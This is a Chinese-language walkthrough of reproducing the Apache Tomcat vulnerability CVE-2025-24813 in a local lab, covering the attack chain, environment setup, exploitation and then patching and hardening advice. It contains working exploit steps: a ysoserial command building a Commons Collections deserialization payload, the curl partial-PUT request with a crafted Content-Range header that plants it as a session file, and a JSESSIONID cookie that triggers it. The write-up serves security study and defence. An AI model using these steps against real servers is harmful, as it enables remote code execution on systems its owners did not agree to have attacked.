1. 项目概述与漏洞背景
最近在安全圈里,CVE-2025-24813 这个编号热度不低,它指向的是 Apache Tomcat 服务器中的一个高危漏洞。简单来说,这是一个通过不完整的 HTTP PUT 请求,结合特定的服务器配置,最终可能导致远程代码执行(RCE)的安全问题。我花了些时间在本地环境里完整地走了一遍复现流程,把其中的门道、踩过的坑以及一些关键的思考点记录下来。这篇文章不是一份冷冰冰的漏洞公告翻译,而是从一个实际动手的视角,带你理解这个漏洞究竟是怎么一回事,它的触发条件为什么这么“苛刻”但又极具威胁,以及我们该如何在实战中验证和防御。
这个漏洞的核心攻击路径可以概括为: 攻击者利用 Tomcat 对“部分上传”(Partial PUT)请求的处理特性,将一个恶意的序列化文件写入到服务器的特定临时目录。当服务器配置了基于文件的会话持久化时,这个恶意文件会被当作会话(Session)文件加载并触发反序列化,如果应用中恰好存在可利用的反序列化链(如 Commons Collections),那么攻击者就能在服务器上执行任意命令。 听起来有点绕?别急,我们一步步拆开来看。复现这个漏洞,你需要对 Tomcat 的基本配置、HTTP协议细节以及 Java 反序列化有初步的了解。整个过程就像搭积木,缺了任何一块,攻击都成功不了,这也正是它有趣的地方。
2. 漏洞原理深度解析
要真正理解 CVE-2025-24813,不能只停留在“发送一个请求就能黑掉服务器”的层面。我们需要深入 Tomcat 的内部工作机制,看看攻击者是如何巧妙地组合几个看似独立的“特性”,最终拧成一股具有破坏力的绳索的。
2.1 核心攻击链拆解
这个漏洞的利用链环环相扣,我们可以把它分解为四个关键环节:
-
文件写入入口(Partial PUT) :这是攻击的起点。HTTP/1.1 协议规范(RFC 7233)定义了
Content-Range头,允许客户端分段上传一个大文件。Tomcat 的 Default Servlet 在处理带有Content-Range头的 PUT 请求时,如果该请求上传的数据量小于Content-Range声明的总大小,Tomcat 会认为这是一个“不完整”的上传。此时,它不会将数据写入目标文件,而是会 创建一个临时文件 来存储这部分数据。这个临时文件的命名规则是关键:它会将请求路径中的/替换为.。例如,请求路径/poc/session对应的临时文件名就是.poc.session。这个文件默认会被创建在work/Catalina/[hostname]/[appname]/目录下。 -
会话持久化机制(FileStore) :这是漏洞得以触发的环境条件。Tomcat 提供了一种将会话数据持久化到磁盘的机制,通常用于集群同步或故障恢复。当配置了
PersistentManager并使用FileStore作为存储后端时,Tomcat 会定期或在特定条件下将会话对象序列化后写入文件。这些会话文件的默认存储位置,恰好也是work/Catalina/[hostname]/[appname]/目录,并且其命名格式为.[sessionid].session。看到这里,你应该能发现第一个巧合:攻击者通过 Partial PUT 创建的临时文件(如.poc.session),其命名格式与 Tomcat 的会话文件格式 高度相似 。 -
文件加载与反序列化 :这是漏洞执行的关键步骤。Tomcat 在启动或需要恢复会话时,会扫描上述目录,寻找格式匹配的
.session文件,然后 自动将其内容反序列化 ,还原成会话对象。这里的安全假设是:该目录下的.session文件都是 Tomcat 自己生成的、可信的序列化数据。然而,攻击者通过 Partial PUT 注入的.poc.session文件,完全符合这个文件名模式。因此,Tomcat 会毫无戒备地加载这个文件,并尝试对其内容进行反序列化。 -
反序列化利用链(Gadget Chain) :这是将漏洞转化为实际危害的“弹药”。仅仅触发反序列化过程还不够,要执行代码,还需要一条能够被利用的“链”(Gadget Chain)。这条链由应用中一系列特定类的特定方法组成,在反序列化过程中被依次调用,最终可能达到执行任意命令的效果。最经典的例子就是 Apache Commons Collections 库(3.x 版本,4.0以下)中的一系列 Transformer 类。如果目标 Web 应用的
WEB-INF/lib目录下包含了存在漏洞版本的 Commons Collections JAR 包,那么攻击者精心构造的序列化数据在被加载时,就会沿着这条链走下去,执行攻击者预设的命令(例如弹出一个计算器,或者更危险的,执行系统命令)。
注意 :这条利用链的依赖非常具体。它要求应用 同时 使用了存在漏洞的第三方库(如 Commons Collections 3.2.1) 并且 该库的类路径对 Tomcat 的会话管理器可见。在复现环境中,我们通常需要手动引入这个库。
2.2 为什么说这个漏洞条件“苛刻”?
从上面的分析可以看出,一次成功的攻击需要同时满足多个条件,缺一不可:
-
配置条件A
:Tomcat 的 Default Servlet 的
readonly参数必须设置为false(默认是true)。这赋予了通过 HTTP PUT 方法向服务器写文件的权限。 -
配置条件B
:必须在
context.xml中配置PersistentManager并启用FileStore。这是将会话存到文件系统的开关。 -
协议特性
:必须使用带有
Content-Range头的不完整 PUT 请求。完整的 PUT 请求会直接覆盖目标文件,而不会创建临时文件。 - 应用依赖 :Web 应用中必须包含可利用的反序列化链依赖(如旧版 Commons Collections)。
-
路径与命名巧合
:攻击者需要精准预测或探测会话文件的存储路径,并使注入的文件名符合
.xxx.session的格式。
正是这些条件,使得该漏洞在默认配置的 Tomcat 上无法利用,降低了其大规模爆发的风险。 但是,“苛刻”不等于“不可能” 。在一些特定的运维场景下,这些条件可能被满足:
- 为了支持某些 RESTful API 的文件上传功能,管理员可能手动开启了 Default Servlet 的写权限。
- 在开发或测试环境中,可能会启用文件会话持久化用于调试会话问题。
- 许多历史遗留系统或框架默认就引入了存在漏洞的 Commons Collections 版本。
因此,理解并复现这个漏洞,对于安全研究人员评估自身资产风险、对于开发运维人员加固生产环境,都具有非常实际的意义。
3. 漏洞复现环境搭建
纸上得来终觉浅,绝知此事要躬行。接下来,我们一步步搭建一个能够复现 CVE-2025-24813 的漏洞环境。我会以 Windows 系统下的 Tomcat 9.0.98 为例进行说明,Linux/macOS 下的步骤基本一致,只是启动脚本和路径分隔符不同。
3.1 基础组件准备
首先,我们需要准备三个核心组件:存在漏洞的 Tomcat 版本、存在漏洞的 Commons Collections 库,以及一个用于生成攻击载荷(Payload)的工具。
-
下载 Apache Tomcat 9.0.98 : 这是受影响的版本之一。你可以从 Apache 官方归档站点下载:
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip下载后解压到一个方便操作的目录,例如D:\vuln-lab\tomcat-9.0.98。这个目录我们称为$CATALINA_HOME。 -
下载 Commons Collections 3.2.1 : 这是最经典的反序列化利用链所在版本。可以从 Maven 中央仓库下载:
https://repo1.maven.org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar下载后,将其放入 Tomcat web 应用的库目录。我们以默认的 ROOT 应用为例,路径是:$CATALINA_HOME\webapps\ROOT\WEB-INF\lib\。如果lib文件夹不存在,就手动创建它。 -
准备 Payload 生成工具 : 我们需要一个工具来生成包含恶意命令的序列化数据。这里推荐使用 ysoserial ,这是一个非常著名的 Java 反序列化利用框架。你需要从 GitHub 下载它的源码并编译,或者直接寻找编译好的 jar 文件。为了简化,我们假设你已经有了
ysoserial.jar文件。 生成一个用于弹出 Windows 计算器(calc.exe)的 CommonsCollections1 链 Payload 的命令如下:java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.ser这条命令会生成一个名为
payload.ser的二进制文件,里面包含了序列化的恶意对象。
3.2 关键配置修改
默认的 Tomcat 配置是安全的。我们需要手动“打开”漏洞利用所需的那几扇门。
-
启用 Default Servlet 写权限 : 编辑
$CATALINA_HOME\conf\web.xml文件。找到名为default的 Servlet 配置(通常在文件靠后部分)。将其初始化参数readonly的值从true修改为false。<servlet> <servlet-name>default</servlet-name> <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> <!-- 修改这里 --> </init-param> <load-on-startup>1</load-on-startup> </servlet>实操心得 :在生产环境中,除非有绝对必要(如提供 WebDAV 服务),否则 永远不要 将
readonly设置为false。这是将服务器文件系统暴露给 HTTP 客户端的高风险操作。 -
启用基于文件的会话持久化 : 编辑
$CATALINA_HOME\conf\context.xml文件。在<Context>标签内,添加PersistentManager和FileStore的配置。<Context> <!-- 其他配置... --> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore"/> </Manager> </Context>这个配置告诉 Tomcat 使用文件系统来持久化会话。会话文件将默认存储在
$CATALINA_HOME\work\Catalina\localhost\ROOT\目录下。
3.3 启动与验证
配置完成后,我们就可以启动 Tomcat 了。
-
打开命令行,进入
$CATALINA_HOME\bin目录。 -
执行启动命令:
catalina.bat run(在 Linux/macOS 下使用
./catalina.sh run) 使用run参数而不是startup.bat,可以让 Tomcat 在前台运行,方便我们在控制台直接看到日志输出,这对于调试和观察漏洞触发过程至关重要。 -
打开浏览器,访问
http://localhost:8080。如果能看到 Tomcat 的默认欢迎页面,说明服务启动成功,且我们的 ROOT 应用已部署。 -
环境健康检查 :
-
检查
$CATALINA_HOME\work\Catalina\localhost\ROOT\目录。启动后,这个目录应该是存在的。 -
访问
http://localhost:8080后,检查上述目录下是否生成了类似.xxxxxx.session的文件(xxxxxx是你的会话 ID)。这可以验证文件会话持久化是否正常工作。你可能需要刷新几次页面来触发会话创建。
-
检查
至此,一个脆弱的靶场环境就搭建完毕了。它模拟了一个配置不当且使用了危险组件的 Tomcat 应用。
4. 漏洞利用过程详解
环境就绪,弹药(payload.ser)也已备好,现在开始发动攻击。我们的目标是利用 Partial PUT 请求,将
payload.ser
的内容注入到会话文件存储目录,并诱使 Tomcat 加载并反序列化它。
4.1 构造并发送恶意请求
攻击的核心是发送一个特殊的 HTTP PUT 请求。我们可以使用
curl
命令行工具,它简单直接。也可以使用 Burp Suite、Yakit 等图形化工具,便于调试。
使用 curl 发送请求:
假设我们的
payload.ser
文件大小为 1200 字节(实际大小以生成的文件为准)。我们构造一个“不完整”的上传请求,声明总大小为 1200,但只上传前 1001 个字节(0-1000)。请求路径我们选择
/poc/session
。
curl -X PUT http://localhost:8080/poc/session ^
-H "Content-Range: bytes 0-1000/1200" ^
--data-binary @payload.ser
(在 Linux/macOS 终端中,将换行符
^
替换为
\
)
关键点解析:
-
-X PUT: 指定使用 PUT 方法。 -
-H "Content-Range: bytes 0-1000/1200": 这是灵魂所在。它告诉服务器:“我要上传一个总长1200字节的文件,这次我先传前1001个字节(0到1000)”。因为实际发送的数据(payload.ser的全部内容)小于1200字节,Tomcat 会将其视为不完整上传,从而创建临时文件。 -
--data-binary @payload.ser: 以二进制模式发送payload.ser文件的全部内容作为请求体。 -
请求路径
/poc/session: 这个名字是精心设计的。Tomcat 会将/替换为.,因此最终在服务器上生成的临时文件名就是.poc.session,完美匹配了会话文件的命名模式.[sessionid].session。
发送请求后,观察结果:
-
查看服务器目录
:立即查看
$CATALINA_HOME\work\Catalina\localhost\ROOT\目录。你应该能看到一个名为.poc.session的新文件。使用十六进制编辑器或cat命令查看其开头部分,确认它包含了我们生成的序列化数据(通常以AC ED 00 05等魔术字开头)。 -
观察 Tomcat 控制台日志
:如果一切配置正确,通常在文件写入后的
30秒到1分钟
内,你会在 Tomcat 的控制台看到异常栈信息,并且
系统会弹出计算器程序(calc.exe)
!这是因为 Tomcat 的后台线程(可能是会话管理器在扫描文件)加载并反序列化了
.poc.session文件,触发了 CommonsCollections1 链,执行了calc.exe命令。 -
文件消失
:成功触发后,Tomcat 会立即删除这个
.poc.session文件。这是因为会话管理器在处理完一个文件后,会清理它。所以这是一个“一次性”的利用,文件写入后稍纵即逝。
4.2 替代触发方式:会话ID欺骗
除了等待后台线程自动加载,还有一种更直接的触发方式:通过会话 ID(JSESSIONID)欺骗。
-
同样先通过上述 Partial PUT 请求,将
payload.ser写入为.poc.session文件。 -
然后,在浏览器或发送一个 HTTP 请求时,手动指定 Cookie:
JSESSIONID=.poc。curl -v http://localhost:8080/ --cookie "JSESSIONID=.poc" -
这个请求会告诉 Tomcat:“我的会话 ID 是
.poc,请帮我恢复这个会话”。Tomcat 便会去work/Catalina/localhost/ROOT/目录下寻找名为.poc.session的文件并加载它,从而立即触发反序列化。
这种方式给了攻击者更精确的控制能力,可以随时触发漏洞,而不必等待后台任务。
4.3 利用过程中的难点与技巧
在实际复现中,你可能会遇到一些问题,以下是一些排查思路:
-
Payload 生成失败或无效
:确保使用正确版本的
ysoserial和CommonsCollections1链。不同的 Java 版本和 Commons Collections 版本可能存在兼容性问题。如果弹计算器不成功,可以尝试生成一个执行ping命令或touch /tmp/test(Linux)的 Payload 来验证命令是否执行。 -
文件写入成功但未触发
:
-
检查配置
:双重确认
web.xml和context.xml的修改已保存,并且 Tomcat 是修改后重启的。 -
检查库路径
:确认
commons-collections-3.2.1.jar确实放在了ROOT应用的WEB-INF/lib/下,而不是 Tomcat 全局的lib目录。会话管理器加载类时,使用的是 Web 应用的类加载器。 -
检查文件权限
:确保 Tomcat 进程有权限在
work目录下创建、读取和删除文件。 -
观察日志
:打开 Tomcat 的详细日志(修改
conf/logging.properties),查看是否有关于会话加载、反序列化的错误信息。常见的错误是ClassNotFoundException,这说明 Commons Collections 的类没有被找到。
-
检查配置
:双重确认
-
Content-Range 值设置
:
Content-Range: bytes 0-1000/1200中的1200需要大于你实际发送的payload.ser文件大小。如果设置的值小于或等于文件大小,Tomcat 会认为这是一个完整的上传,直接覆盖/poc/session这个虚拟路径,而不会创建临时文件。通常可以设置一个比实际文件大几百字节的值。
5. 漏洞修复与安全加固建议
复现漏洞是为了更好地防御它。针对 CVE-2025-24813,Apache Tomcat 官方已经发布了新版本修复了此问题。但修复不仅仅是升级,更重要的是理解漏洞根源并实施纵深防御。
5.1 官方修复方案
最直接有效的修复方法是升级到不受影响的 Tomcat 版本:
- Tomcat 11.0.3 及以上版本
- Tomcat 10.1.35 及以上版本
- Tomcat 9.0.99 及以上版本
官方修复的核心逻辑是: 修改了 Partial PUT 请求创建临时文件的命名规则,使其不再与会话文件命名模式冲突 。例如,新版本可能会在文件名中加入随机字符串或不同的后缀,从而从根本上切断了攻击链的第一环。
5.2 安全配置加固
如果因客观原因无法立即升级,可以通过严格的配置来阻断漏洞利用条件,这同样是生产环境应遵循的安全最佳实践:
-
保持 Default Servlet 只读
:除非业务绝对必需,否则永远不要将
conf/web.xml中 Default Servlet 的readonly参数设置为false。这是防止通过 HTTP PUT 方法写入文件的第一道也是最重要的防线。 -
审慎使用会话持久化
:评估是否真的需要
PersistentManager和FileStore。对于大多数无状态应用或使用 Redis 等外部会话存储的应用,应禁用此功能。如果必须使用,考虑将会话文件存储到非默认的、Web 应用无法访问的目录,并设置严格的文件系统权限。 - 移除危险的第三方库 :对项目依赖进行安全扫描,及时识别并升级或移除存在已知反序列化漏洞的库,如 Commons Collections (3.x, 4.0以下)、Fastjson 旧版本等。可以使用 OWASP Dependency-Check、Maven/Gradle 的漏洞扫描插件等工具自动化完成。
-
实施反序列化过滤器
:在 Java 应用中,可以配置反序列化过滤器(如使用
ObjectInputFilter)来限制反序列化过程中允许加载的类。这是 Java 9 及以上版本提供的原生安全机制,能有效阻断未知的恶意反序列化链。 -
网络层防护
:在 Web 应用防火墙(WAF)或网关层面,可以配置规则拦截异常的
Content-Range头使用,或者直接禁用不必要的 HTTP PUT 方法。
5.3 安全开发与运维习惯
这个漏洞也给我们带来了更深层次的启示:
- 最小权限原则 :无论是配置 Servlet 权限,还是服务器文件系统权限,都应遵循最小权限原则。只开放业务必需的功能和路径。
-
默认安全
:在搭建环境时,应意识到“默认配置”不一定是“安全配置”。像开启
readonly和配置PersistentManager这类操作,必须有明确的安全评估。 - 深度防御 :不要依赖单一的安全措施。结合升级、安全配置、代码审计、依赖管理和运行时防护,构建多层防御体系,即使一层被突破,其他层仍能提供保护。
复现 CVE-2025-24813 的过程,就像一次精密的手术,让我们清晰地看到了从一处小小的配置不当,到整个系统被攻陷的完整链条。对于安全人员,它是一次宝贵的实战分析训练;对于开发和运维同学,它是一记响亮的警钟,提醒我们每一个配置选项背后都可能隐藏着风险。
372

被折叠的 条评论
为什么被折叠?



